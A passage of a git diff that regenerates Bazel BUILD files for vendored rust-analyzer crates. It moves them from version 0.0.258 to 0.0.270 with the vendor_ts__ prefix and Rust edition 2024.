+        "@vendor_ts__itertools-0.12.1//:itertools",
+        "@vendor_ts__line-index-0.1.2//:line_index",
+        "@vendor_ts__memchr-2.7.4//:memchr",
+        "@vendor_ts__nohash-hasher-0.2.0//:nohash_hasher",
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db",
+        "@vendor_ts__ra_ap_hir-0.0.270//:ra_ap_hir",
+        "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser",
+        "@vendor_ts__ra_ap_profile-0.0.270//:ra_ap_profile",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
+        "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs",
+        "@vendor_ts__rayon-1.10.0//:rayon",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__salsa-0.19.0//:salsa",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__triomphe-0.1.14//:triomphe",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.258.bazel
deleted file mode 100644
index ad2a8bb0bc99..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.258.bazel
+++ /dev/null
@@ -1,90 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_intern",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_intern",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__dashmap-5.5.3//:dashmap",
-        "@vendor__hashbrown-0.14.5//:hashbrown",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__sptr-0.3.2//:sptr",
-        "@vendor__triomphe-0.1.14//:triomphe",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.270.bazel
new file mode 100644
index 000000000000..39f87b8bcdcc
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.270.bazel
@@ -0,0 +1,89 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_intern",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_intern",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__dashmap-5.5.3//:dashmap",
+        "@vendor_ts__hashbrown-0.14.5//:hashbrown",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__triomphe-0.1.14//:triomphe",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_limit-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_limit-0.0.258.bazel
deleted file mode 100644
index 3589754e1c97..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_limit-0.0.258.bazel
+++ /dev/null
@@ -1,83 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_limit",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_limit",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.258.bazel
deleted file mode 100644
index 90360799291d..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.258.bazel
+++ /dev/null
@@ -1,111 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_load_cargo",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand": "hir_expand",
-        "@vendor__ra_ap_ide_db-0.0.258//:ra_ap_ide_db": "ide_db",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths": "paths",
-        "@vendor__ra_ap_proc_macro_api-0.0.258//:ra_ap_proc_macro_api": "proc_macro_api",
-        "@vendor__ra_ap_project_model-0.0.258//:ra_ap_project_model": "project_model",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt": "tt",
-        "@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs": "vfs",
-        "@vendor__ra_ap_vfs-notify-0.0.258//:ra_ap_vfs_notify": "vfs_notify",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_load-cargo",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__anyhow-1.0.95//:anyhow",
-        "@vendor__crossbeam-channel-0.5.14//:crossbeam_channel",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand",
-        "@vendor__ra_ap_ide_db-0.0.258//:ra_ap_ide_db",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths",
-        "@vendor__ra_ap_proc_macro_api-0.0.258//:ra_ap_proc_macro_api",
-        "@vendor__ra_ap_project_model-0.0.258//:ra_ap_project_model",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt",
-        "@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs",
-        "@vendor__ra_ap_vfs-notify-0.0.258//:ra_ap_vfs_notify",
-        "@vendor__tracing-0.1.41//:tracing",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.270.bazel
new file mode 100644
index 000000000000..30a635ef821f
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.270.bazel
@@ -0,0 +1,111 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_load_cargo",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand": "hir_expand",
+        "@vendor_ts__ra_ap_ide_db-0.0.270//:ra_ap_ide_db": "ide_db",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths": "paths",
+        "@vendor_ts__ra_ap_proc_macro_api-0.0.270//:ra_ap_proc_macro_api": "proc_macro_api",
+        "@vendor_ts__ra_ap_project_model-0.0.270//:ra_ap_project_model": "project_model",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt",
+        "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs": "vfs",
+        "@vendor_ts__ra_ap_vfs-notify-0.0.270//:ra_ap_vfs_notify": "vfs_notify",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_load-cargo",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__anyhow-1.0.97//:anyhow",
+        "@vendor_ts__crossbeam-channel-0.5.14//:crossbeam_channel",
+        "@vendor_ts__itertools-0.12.1//:itertools",
+        "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand",
+        "@vendor_ts__ra_ap_ide_db-0.0.270//:ra_ap_ide_db",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths",
+        "@vendor_ts__ra_ap_proc_macro_api-0.0.270//:ra_ap_proc_macro_api",
+        "@vendor_ts__ra_ap_project_model-0.0.270//:ra_ap_project_model",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt",
+        "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs",
+        "@vendor_ts__ra_ap_vfs-notify-0.0.270//:ra_ap_vfs_notify",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.258.bazel
deleted file mode 100644
index f2161a2ee382..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.258.bazel
+++ /dev/null
@@ -1,107 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_mbe",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser": "parser",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax": "syntax",
-        "@vendor__ra_ap_syntax-bridge-0.0.258//:ra_ap_syntax_bridge": "syntax_bridge",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt": "tt",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_mbe",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__arrayvec-0.7.6//:arrayvec",
-        "@vendor__cov-mark-2.0.0//:cov_mark",
-        "@vendor__ra-ap-rustc_lexer-0.87.0//:ra_ap_rustc_lexer",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
-        "@vendor__ra_ap_syntax-bridge-0.0.258//:ra_ap_syntax_bridge",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt",
